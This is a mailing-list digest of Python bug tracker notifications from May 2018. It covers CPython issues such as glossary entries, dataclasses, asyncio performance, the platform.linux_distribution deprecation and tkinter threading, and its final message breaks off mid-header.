_______________________________________ From report at bugs.python.org Tue May 15 08:19:40 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 15 May 2018 12:19:40 +0000 Subject: [issue32534] Speed-up list.insert: use memmove() In-Reply-To: <1515678734.85.0.467229070634.issue32534@psf.upfronthosting.co.za> Message-ID: <1526386780.64.0.682650639539.issue32534@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Hi, just a small reminder for this issue because I was reviewing the PR. what is the status? Thanks ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 08:20:58 2018 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 15 May 2018 12:20:58 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1526386612.15.0.682650639539.issue32769@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: I actually intended to say that annotations continue to be usable for non-typing purposes (beyond ClassVar/InitVar). It may be deprecated but the usage still exists. This is a glossary, not a manifesto. I'm fine with adding that the main use of annotations is for type hints of course. And I was mostly reacting to the fact that the text that was just committed seemed to imply that 'annotation' refers to something stored at runtime in __annotations__ while 'type hint' was a syntactic form (and this is borne out by the omission of *local* type hints from the section on annotations). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 08:22:45 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 15 May 2018 12:22:45 +0000 Subject: [issue29640] _PyThreadState_Init and fork race leads to inconsistent key list In-Reply-To: <1487927038.37.0.851881550844.issue29640@psf.upfronthosting.co.za> Message-ID: <1526386965.79.0.682650639539.issue29640@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Hi Petr, Do you continue this patch/issue? Thank you ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 08:24:37 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Tue, 15 May 2018 12:24:37 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526387077.43.0.682650639539.issue32769@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Yes, local annotations are important and should be mentioned (maybe even with an example). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 08:36:30 2018 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 15 May 2018 12:36:30 +0000 Subject: [issue33517] dataclasses: Add the field type to Field repr In-Reply-To: <1526385676.97.0.682650639539.issue33517@psf.upfronthosting.co.za> Message-ID: <1526387790.64.0.682650639539.issue33517@psf.upfronthosting.co.za> Eric V. Smith added the comment: New changeset 01abc6ec3a61769c55ee86834a432fb97801d28f by Eric V. Smith in branch 'master': bpo-33517: dataclasses: Add the field type to Field repr (GH-6858) https://github.com/python/cpython/commit/01abc6ec3a61769c55ee86834a432fb97801d28f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 08:37:33 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 12:37:33 +0000 Subject: [issue33517] dataclasses: Add the field type to Field repr In-Reply-To: <1526385676.97.0.682650639539.issue33517@psf.upfronthosting.co.za> Message-ID: <1526387853.44.0.682650639539.issue33517@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6533 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 09:01:54 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 13:01:54 +0000 Subject: [issue33517] dataclasses: Add the field type to Field repr In-Reply-To: <1526385676.97.0.682650639539.issue33517@psf.upfronthosting.co.za> Message-ID: <1526389314.16.0.682650639539.issue33517@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 5c7e079158db869c9ede1ac9b5b9735091d3ffb6 by Miss Islington (bot) in branch '3.7': bpo-33517: dataclasses: Add the field type to Field repr (GH-6858) https://github.com/python/cpython/commit/5c7e079158db869c9ede1ac9b5b9735091d3ffb6 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 09:02:24 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Tue, 15 May 2018 13:02:24 +0000 Subject: [issue33518] Add PEP to glossary Message-ID: <1526389344.41.0.682650639539.issue33518@psf.upfronthosting.co.za> New submission from Andr?s Delfino : I think PEP should be mentioned in the glossary, as it is an important piece of how Python is developed and learned. The PR's wording is taken from PEP1, mostly verbatim. ---------- assignee: docs at python components: Documentation messages: 316653 nosy: adelfino, docs at python priority: normal severity: normal status: open title: Add PEP to glossary type: enhancement versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 09:03:49 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Tue, 15 May 2018 13:03:49 +0000 Subject: [issue33518] Add PEP to glossary In-Reply-To: <1526389344.41.0.682650639539.issue33518@psf.upfronthosting.co.za> Message-ID: <1526389429.58.0.682650639539.issue33518@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6534 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 09:06:58 2018 From: report at bugs.python.org (Florian Schulze) Date: Tue, 15 May 2018 13:06:58 +0000 Subject: [issue33198] Build on Linux with --enable-optimizations fails In-Reply-To: <1522571938.21.0.467229070634.issue33198@psf.upfronthosting.co.za> Message-ID: <1526389618.63.0.682650639539.issue33198@psf.upfronthosting.co.za> Florian Schulze added the comment: Due to the TLS changes on pypi.org the buildout I used before doesn't work anymore on Travis and I have now switched to pyenv. If I ever stumble over it again, I will open a new bug with more information. ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 09:08:55 2018 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 15 May 2018 13:08:55 +0000 Subject: [issue33517] dataclasses: Add the field type to Field repr In-Reply-To: <1526385676.97.0.682650639539.issue33517@psf.upfronthosting.co.za> Message-ID: <1526389735.42.0.682650639539.issue33517@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 09:31:06 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 13:31:06 +0000 Subject: [issue29640] _PyThreadState_Init and fork race leads to inconsistent key list In-Reply-To: <1487927038.37.0.851881550844.issue29640@psf.upfronthosting.co.za> Message-ID: <1526391066.02.0.682650639539.issue29640@psf.upfronthosting.co.za> Petr Viktorin added the comment: Not immediately, but it is on my TODO list. If anyone wants to tackle it in the mean time, I'd be happy to answer any questions ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 09:41:57 2018 From: report at bugs.python.org (Jimmy Lai) Date: Tue, 15 May 2018 13:41:57 +0000 Subject: [issue33505] Optimize asyncio.ensure_future by reordering if conditions In-Reply-To: <1526330732.96.0.682650639539.issue33505@psf.upfronthosting.co.za> Message-ID: <1526391717.38.0.682650639539.issue33505@psf.upfronthosting.co.za> Jimmy Lai added the comment: Benchmark result: ./python.exe -m perf compare_to ensure_future_original.json ensure_future_optimized.json Mean +- std dev: [ensure_future_original] 57.4 ms +- 4.0 ms -> [ensure_future_optimized] 49.3 ms +- 4.5 ms: 1.17x faster (-14%) ---------- Added file: https://bugs.python.org/file47591/ensure_future_benchmark.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 09:56:21 2018 From: report at bugs.python.org (Eric Snow) Date: Tue, 15 May 2018 13:56:21 +0000 Subject: [issue32604] Expose the subinterpreters C-API in Python for testing use. In-Reply-To: <1516413482.13.0.467229070634.issue32604@psf.upfronthosting.co.za> Message-ID: <1526392581.04.0.682650639539.issue32604@psf.upfronthosting.co.za> Eric Snow added the comment: New changeset 6bd0c476c58ca0046969f70dc2a4e4dfb3268062 by Eric Snow in branch '3.7': bpo-32604: Remove xid registry. (#6813) https://github.com/python/cpython/commit/6bd0c476c58ca0046969f70dc2a4e4dfb3268062 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 10:10:35 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 14:10:35 +0000 Subject: [issue33435] incorrect detection of information of some distributions In-Reply-To: <1525600412.06.0.682650639539.issue33435@psf.upfronthosting.co.za> Message-ID: <1526393435.8.0.682650639539.issue33435@psf.upfronthosting.co.za> Petr Viktorin added the comment: linux_distribution is deprecated since 3.5, so I don't think it makes sense to modify it. (see https://docs.python.org/3/library/platform.html#platform.linux_distribution) Can you use a third-party package instead, e.g. distro? http://distro.readthedocs.io/en/latest/ ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 10:15:18 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 14:15:18 +0000 Subject: [issue33435] incorrect detection of information of some distributions In-Reply-To: <1525600412.06.0.682650639539.issue33435@psf.upfronthosting.co.za> Message-ID: <1526393718.89.0.682650639539.issue33435@psf.upfronthosting.co.za> Petr Viktorin added the comment: Oh, and there's a long discussion on the deprecation here: https://bugs.python.org/issue1322 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 10:32:57 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 14:32:57 +0000 Subject: [issue1322] Deprecate platform.dist() and platform.linux_distribution() functions In-Reply-To: <1193246464.1.0.269134020057.issue1322@psf.upfronthosting.co.za> Message-ID: <1526394777.32.0.682650639539.issue1322@psf.upfronthosting.co.za> Petr Viktorin added the comment: I talked to Ned, the release manager for 3.7. It's too late to remove this in 3.7, so I'll update the docs and make the deprecation notice more current/useful, and link to the distro library. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 10:57:21 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Tue, 15 May 2018 14:57:21 +0000 Subject: [issue33316] Windows: PyThread_release_lock always fails In-Reply-To: <1524183536.18.0.682650639539.issue33316@psf.upfronthosting.co.za> Message-ID: <1526396241.46.0.682650639539.issue33316@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: > So I would drop the pretense and make these fns void. Scratch that. In POSIX, they are #define'd as pthread fns which do return an error code. So, nothing more to do here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:02:41 2018 From: report at bugs.python.org (Paul Ganssle) Date: Tue, 15 May 2018 15:02:41 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1526396561.42.0.682650639539.issue33400@psf.upfronthosting.co.za> Paul Ganssle added the comment: I don't really agree with these changes to the documentation. The format that paulc identifies is actually an RFC 3339 datetime, which is a subset of ISO 8601, to the extent that you consider the fact that "we're using RFC 3339" is "mutual consent" for omitting the `T` separator. The changes to the documentation make it more confusing because it's not clear how precisely the datetime is considered to deviate from the spec. I think I would change the documentation to refer to the format as RFC 3339 and if ISO 8601 is mentioned at all, it can be parenthetical in the first mention. In any case, exposing the spec like this would probably be useful: YYYY-MM-DD HH:MM:SS,mmm The fact that this complies with the RFC 3339 spec (particularly as commonly implemented) just means "an ISO parser that implements the spec should be able to read this". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:03:52 2018 From: report at bugs.python.org (Andrey Bychkov) Date: Tue, 15 May 2018 15:03:52 +0000 Subject: [issue33435] incorrect detection of information of some distributions In-Reply-To: <1525600412.06.0.682650639539.issue33435@psf.upfronthosting.co.za> Message-ID: <1526396632.64.0.682650639539.issue33435@psf.upfronthosting.co.za> Andrey Bychkov added the comment: I think that it would be good to update linux_distribution, the discussion has been going on for a long time, but still in some cases the information is not determined correctly. It seems to me that the methods used are not entirely correct. My change more accurately determines information about the distribution using the modern standard-file os-release. If my change seems to be good, I can continue to edit linux_distribution. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:09:27 2018 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 15 May 2018 15:09:27 +0000 Subject: [issue33519] Should MutableSequence provide .copy()? Message-ID: <1526396967.72.0.682650639539.issue33519@psf.upfronthosting.co.za> New submission from Jelle Zijlstra : https://docs.python.org/3.7/library/stdtypes.html#mutable-sequence-types lists .copy() among the methods provided by mutable sequences. However, MutableSequence does not actually define .copy(): https://github.com/python/cpython/blob/master/Lib/_collections_abc.py#L945. Should we add .copy() to the ABC or remove the promise that all mutable sequences implement .copy()? ---------- components: Library (Lib) messages: 316664 nosy: Jelle Zijlstra, rhettinger, stutzbach priority: normal severity: normal status: open title: Should MutableSequence provide .copy()? versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:10:09 2018 From: report at bugs.python.org (Licht Takeuchi) Date: Tue, 15 May 2018 15:10:09 +0000 Subject: [issue33471] string format with 'n' failling with french locales In-Reply-To: <1526124606.41.0.682650639539.issue33471@psf.upfronthosting.co.za> Message-ID: <1526397009.28.0.682650639539.issue33471@psf.upfronthosting.co.za> Change by Licht Takeuchi : ---------- keywords: +patch pull_requests: +6535 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:16:22 2018 From: report at bugs.python.org (Isaiah Peng) Date: Tue, 15 May 2018 15:16:22 +0000 Subject: [issue33520] ast.Tuple has wrong col_offset Message-ID: <1526397382.35.0.682650639539.issue33520@psf.upfronthosting.co.za> New submission from Isaiah Peng : The `col_offset` of the ast.Tuple node is set to the column offset of the first element, shown in code: >>> a = "{1,2,3}" >>> b = ast.parse(a).body[0] >>> b.value.col_offset 0 >>> a = "[1,2,3]" >>> b = ast.parse(a).body[0] >>> b.value.col_offset 0 >>> a = "(1,2,3)" >>> ast.parse(a).body[0].value.col_offset 1 >>> a = "()" >>> ast.parse(a).body[0].value.col_offset 0 It's correct for dict, set, list, even empty tuple, Though this is not a serious bug, for other python implementations that uses the tests as language spec, this is annoying. ---------- components: Library (Lib) messages: 316665 nosy: isaiah priority: normal severity: normal status: open title: ast.Tuple has wrong col_offset type: behavior versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:17:02 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 15:17:02 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526397422.95.0.682650639539.issue28167@psf.upfronthosting.co.za> Petr Viktorin added the comment: New changeset 9eb40bc38de83e6ad3fad1931bba1cd36ae88c24 by Petr Viktorin (Matthias Bussonnier) in branch 'master': bpo-28167: bump platform.linux_distribution removal to 3.8 (GH-6669) https://github.com/python/cpython/commit/9eb40bc38de83e6ad3fad1931bba1cd36ae88c24 ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:17:03 2018 From: report at bugs.python.org (Jean-Louis Tamburini) Date: Tue, 15 May 2018 15:17:03 +0000 Subject: [issue33451] Start pyc file lock the file In-Reply-To: <1525898638.9.0.682650639539.issue33451@psf.upfronthosting.co.za> Message-ID: <1526397423.18.0.682650639539.issue33451@psf.upfronthosting.co.za> Jean-Louis Tamburini added the comment: Same for python v3.6.5:f59c0932b4 ---------- Added file: https://bugs.python.org/file47592/dummy.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:18:21 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 15:18:21 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526397501.99.0.682650639539.issue28167@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6536 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:19:53 2018 From: report at bugs.python.org (Ethan Furman) Date: Tue, 15 May 2018 15:19:53 +0000 Subject: [issue31947] names=None case is not handled by EnumMeta._create_ method In-Reply-To: <1509880866.58.0.213398074469.issue31947@psf.upfronthosting.co.za> Message-ID: <1526397593.1.0.682650639539.issue31947@psf.upfronthosting.co.za> Ethan Furman added the comment: New changeset c50e5b1f1f2501f697aa52d9c9a440bdeced7006 by Ethan Furman (Miss Islington (bot)) in branch '3.6': bpo-31947: remove None default for names param in Enum._create_ GH-4288 (GH-6485) https://github.com/python/cpython/commit/c50e5b1f1f2501f697aa52d9c9a440bdeced7006 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:20:06 2018 From: report at bugs.python.org (Mark Roseman) Date: Tue, 15 May 2018 15:20:06 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <1526397606.43.0.682650639539.issue33479@psf.upfronthosting.co.za> Mark Roseman added the comment: Hi Ivan, thanks for your detailed response. The approach you're suggesting ("Since the sole offender is their threading model, the way is to show them how it's defective and work towards improving it.") is in the end not something I think is workable. Some historical context. Ousterhout had some specific ideas about how Tcl/Tk should be used, and that was well-reflected in his early control of the code base. He was certainly outspoken against threads. The main argument is that they're complicated if you don't know what you're doing, which included the "non-professional programmers" he considered the core audience. Enumerating how threads were used at the time, most of the uses could be handled (more simply) in other ways, such as event-driven and non-blocking timers and I/O (so what people today would refer to as the "node.js event model"). Threads (or separate communicating processes) were for long-running computations, things he always envisioned happening in C code (written by more "professional programmers"), not Tcl. His idea of how Tcl and C development would be split didn't match reality given faster machines, more memory, etc. The second thing is that Tcl had multiple interpreters baked in pretty much from the beginning at the C level and exposed fairly early on (1996?) at the Tcl level, akin to PEP 554. Code isolation and resource management were the key motivators, but of course others followed. Creating and using Tcl interpreters was quick, lightweight (fast startup, low memory overhead, etc.) and easy. So in other words, the notion of multiple interpreters in Tcl vs. Python is completely different. I had one large application I built around that time that often ended up with hundreds of interpreters running. Which brings me to threads and how they were added to the language. Your guess ("My guess for the decision is it was the easiest way to migrate the code base") is incorrect. The idea of "one thread/one interpreter" was just not seen as a restriction, and was a very natural extension of what had come before. It fit the use cases well (AOLserver was another good example) and was still very understandable from the user level. Contrast with Python's GIL, etc. With that all said, there would be very little motivation to change the Tcl/Tk side to allow multiple threads to access one interpreter, because in terms of the API and programming model that Tcl/Tk advertises, it's simply not a problem. Keep in mind, the people working on the Tcl/Tk core are very smart programmers, know threads very well, etc., so it's not an issue of "they should know better" or "it's old." In other words, "show them how it's defective" is a non-starter. The other, more practical matter in pushing for changes in the Tcl/Tk core, is that there are a fairly small number of people working on it, very part-time. Almost all of them are most interested in the Tcl side, not Tk. Changes made in Tk most often amount to bug fixes because someone's running into something in their own work. Expecting large-scale changes to happen to Tk without some way to get dedicated new resources put into it is not realistic. A final matter on the practical side. As you've carefully noted, certain Tcl/Tk calls now happen to work when called from different threads. Consider those a side-effect of present implementation, not a guarantee. Future core changes could change what can be called from different threads, making the situation better or worse. From the Tcl/Tk perspective, this is not a problem, and would not be caught by any testing, etc. Even if it were, it likely wouldn't be fixed. It would be considered an "abuse" of their API (I think correctly). My suggestion, given the philosophical and practical mismatch, is that Tkinter move towards operating as if the API Tk provides is inviolate. In other words, all calls into a Tcl interpreter happen from the same thread that created the Tcl interpreter. Tkinter acts as a bridge between Python and Tcl/Tk. It should present an API to Python programs compatible with the Python threading model. It's Tkinter's responsibility to map that onto Tcl/Tk's single threaded API through whatever internal mechanism is necessary (i.e. pass everything to main thread, block caller thread until get response, etc.) I'd go so far as to suggest that all the Tkapp 'call' code (i.e. every place that Tkinter calls Tcl_Eval) check what thread it's in, and issue a warning or error (at least for testing purposes) if it's being called from the "wrong" thread. Having this available in the near future would help people who are debugging what are fairly inexplicable problems now. The approach of making Tkinter responsible also has the advantage of dealing with far more Tcl/Tk versions and builds. Given in practice that few people are really running into things, and that if they are, they know enough to be able to follow the instruction "all Tkinter calls from the same thread" for now, add the warnings/errors in via whatever "turn on debugging" mechanism makes sense. A future version of Python would include a fully thread-safe Tkinter that internally makes all Tcl/Tk calls from a single thread, as per above. Sorry this is so incredibly long-winded. I hope the context at least is useful information. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:31:32 2018 From: report at bugs.python.org (Jimmy Lai) Date: Tue, 15 May 2018 15:31:32 +0000 Subject: [issue33521] Optimize asyncio.isfuture by providing C implementation Message-ID: <1526398292.34.0.682650639539.issue33521@psf.upfronthosting.co.za> New submission from Jimmy Lai : asyncio.isfuture called whenever ensure_future is called. Providing C implementation to make it fast. ---------- components: asyncio messages: 316670 nosy: asvetlov, jimmylai, yselivanov priority: normal severity: normal status: open title: Optimize asyncio.isfuture by providing C implementation type: performance versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:36:59 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 15 May 2018 15:36:59 +0000 Subject: [issue24318] Better documentaiton of profile-opt (and release builds in general?) In-Reply-To: <1432830865.51.0.995414707141.issue24318@psf.upfronthosting.co.za> Message-ID: <1526398619.01.0.682650639539.issue24318@psf.upfronthosting.co.za> Change by Gregory P. Smith : ---------- pull_requests: +6537 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:37:49 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 15:37:49 +0000 Subject: [issue33435] incorrect detection of information of some distributions In-Reply-To: <1525600412.06.0.682650639539.issue33435@psf.upfronthosting.co.za> Message-ID: <1526398669.12.0.682650639539.issue33435@psf.upfronthosting.co.za> Petr Viktorin added the comment: Python's deprecation process takes several years, but linux_distribution is actually nearing the end of it. It is planned to be removed. Your improvement is great, but at this point, it is more similar to adding a new feature to the standard library, than fixing a bug. What are the use cases for linux_distribution()? Does it solve a common enough (and clear enough) problem that it should be in the stdlib? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:38:20 2018 From: report at bugs.python.org (R. David Murray) Date: Tue, 15 May 2018 15:38:20 +0000 Subject: [issue33519] Should MutableSequence provide .copy()? In-Reply-To: <1526396967.72.0.682650639539.issue33519@psf.upfronthosting.co.za> Message-ID: <1526398700.97.0.682650639539.issue33519@psf.upfronthosting.co.za> R. David Murray added the comment: The ABCs are different from the standard types provided by python itself. The former are a minimal subset of the methods provided by the latter. So I think the answer is neither. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:40:43 2018 From: report at bugs.python.org (R. David Murray) Date: Tue, 15 May 2018 15:40:43 +0000 Subject: [issue33519] Should MutableSequence provide .copy()? In-Reply-To: <1526396967.72.0.682650639539.issue33519@psf.upfronthosting.co.za> Message-ID: <1526398843.53.0.682650639539.issue33519@psf.upfronthosting.co.za> R. David Murray added the comment: On the other hand, that section does reference the ABC directly, so I can see the point of your question. So I guess I'm not sure what the answer is...I don't think copy is an essential part of the ABC, but I'm not sure. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:41:26 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 15:41:26 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526398886.34.0.682650639539.issue28167@psf.upfronthosting.co.za> Change by Petr Viktorin : ---------- pull_requests: +6538 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:43:23 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Tue, 15 May 2018 15:43:23 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526399003.07.0.682650639539.issue32769@psf.upfronthosting.co.za> Andr?s Delfino added the comment: Hopefully I address your comments with the last PR update. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 11:54:40 2018 From: report at bugs.python.org (Eric Snow) Date: Tue, 15 May 2018 15:54:40 +0000 Subject: [issue33470] Changes from GH-1638 (GH-3575, bpo-28411) are not documented in Porting to Python 3.7 In-Reply-To: <1526114406.62.0.682650639539.issue33470@psf.upfronthosting.co.za> Message-ID: <1526399680.61.0.682650639539.issue33470@psf.upfronthosting.co.za> Eric Snow added the comment: Yeah, I added an extra parameter. Since it's an internal API I didn't think anything of it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 12:08:09 2018 From: report at bugs.python.org (Aaron Hall) Date: Tue, 15 May 2018 16:08:09 +0000 Subject: [issue33498] pathlib.Path wants an rmtree method In-Reply-To: <1526308235.34.0.682650639539.issue33498@psf.upfronthosting.co.za> Message-ID: <1526400489.8.0.682650639539.issue33498@psf.upfronthosting.co.za> Aaron Hall added the comment: > What is wrong with just using shutil.rmtree()? 0. It's awkward to import just for demonstrations. 1. It's harder for new pythonists to discover. 2. A method provides discoverability in an object's namespace. 3. rmtree is a method of paths (typical usage is rmtree(path)). 4. rmtree is clearly functionality that is missing from the Path object (which has effectively rm, rm -d, but not rm -r). > You can't deal with files with only using pathlib. You can't read ZIP archives, open temporary files, import modules, download files from Internet and open them in the webbrowser, run subprocesses, send files by e-mail, determine the MIME type of files, read WAV files with only using pathlib. I wasn't suggesting those things. After some thought, I would probably not support those things to be in pathlib either. Maybe they are "file" methods, but to me, they are not semantically "path" methods. That functionality is in much more specialized domain-oriented modules, and easy to discover. We need a recursive rmdir so that users aren't tempted to roll their own - and wind up deleting symlinked things. I *would* support some of those other shutil functions to become Path methods, perhaps move, copy2, and copytree, as they *are* path methods (you just need to supply another destination path), but I'm not finding it to be a pain point yet. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 12:15:54 2018 From: report at bugs.python.org (Steve Dower) Date: Tue, 15 May 2018 16:15:54 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services Message-ID: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> New submission from Steve Dower : We have been provided with https://python.visualstudio.com/cpython and a measure of build machines to help us run continuous integration builds. The benefits are more reliable builds (especially Mac and Windows) and higher parallelism than our current services. My PR adds the build definition files and fixes some test bugs to ensure we can successfully test on this platform. There are a few more manual steps to make it work against our repo, which we will do immediately after merging the changes. ---------- assignee: steve.dower components: Build, Tests messages: 316677 nosy: brett.cannon, steve.dower priority: normal pull_requests: 6539 severity: normal status: open title: Enable CI builds on Visual Studio Team Services versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 12:21:06 2018 From: report at bugs.python.org (Jason Fried) Date: Tue, 15 May 2018 16:21:06 +0000 Subject: [issue33523] loop.run_until_complete re-entrancy to support more complicated codebases in transition to asyncio Message-ID: <1526401266.56.0.682650639539.issue33523@psf.upfronthosting.co.za> New submission from Jason Fried : At Facebook and Instagram we have large interconnected codebases without clear boundaries of ownership. As we move more and more services to utilize asyncio we are finding that once blocking (but fast) code paths, are now cropping up with asyncio code using run_until_complete(). Now this is fine for all the blocking callers, but some times we have async callers to that blocking code path and now it doesn't work. So we have two options revert the change to not use asyncio deep in the dep tree or Convert all functions in the stack to be asyncio. Both are not possible and engineers have solved them in two crazy ways. 1. Nested Event Loops, when you hit a run_until_complete, create a new eventloop and do the async and return the result. 2. Like the first, but each library creates its own eventloop, and swaps it with the running loop for the duration of the run_until_complete, restoring the original loop when its done. Both of these ultimately have the same problem, everything on the primary event loop stops running until the new loop is complete. What if we could instead start servicing the existing eventloop from the run_until_complete. This would insure that tasks don't timeout. This would allow us to convert things to asyncio faster without having to have absolute knowledge of a codebase and its call graph, and not have to have all engineers completely synchronized. ---------- components: asyncio messages: 316678 nosy: asvetlov, fried, yselivanov priority: normal severity: normal status: open title: loop.run_until_complete re-entrancy to support more complicated codebases in transition to asyncio type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 12:21:44 2018 From: report at bugs.python.org (Jason Fried) Date: Tue, 15 May 2018 16:21:44 +0000 Subject: [issue33523] loop.run_until_complete re-entrancy to support more complicated codebases in transition to asyncio In-Reply-To: <1526401266.56.0.682650639539.issue33523@psf.upfronthosting.co.za> Message-ID: <1526401304.26.0.682650639539.issue33523@psf.upfronthosting.co.za> Change by Jason Fried : ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 12:21:58 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 15 May 2018 16:21:58 +0000 Subject: [issue33470] Changes from GH-1638 (GH-3575, bpo-28411) are not documented in Porting to Python 3.7 In-Reply-To: <1526114406.62.0.682650639539.issue33470@psf.upfronthosting.co.za> Message-ID: <1526401318.7.0.682650639539.issue33470@psf.upfronthosting.co.za> STINNER Victor added the comment: Oh, I'm sorry, I misunderstood the issue. Changes in the *private* API must not be documented. In short, you must not use the private API :-) If you really have to use the private API, be prepared for incompatible changes in new Python releases. For the gdb issue, gdb should use an #ifdef using PY_VERSION_HEX. Depending on the Python version, the number of parameters changes. Miro: Let's move the discussion to https://bugzilla.redhat.com/show_bug.cgi?id=1577396 to see how to fix gdb ;-) ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 12:23:14 2018 From: report at bugs.python.org (Jason Fried) Date: Tue, 15 May 2018 16:23:14 +0000 Subject: 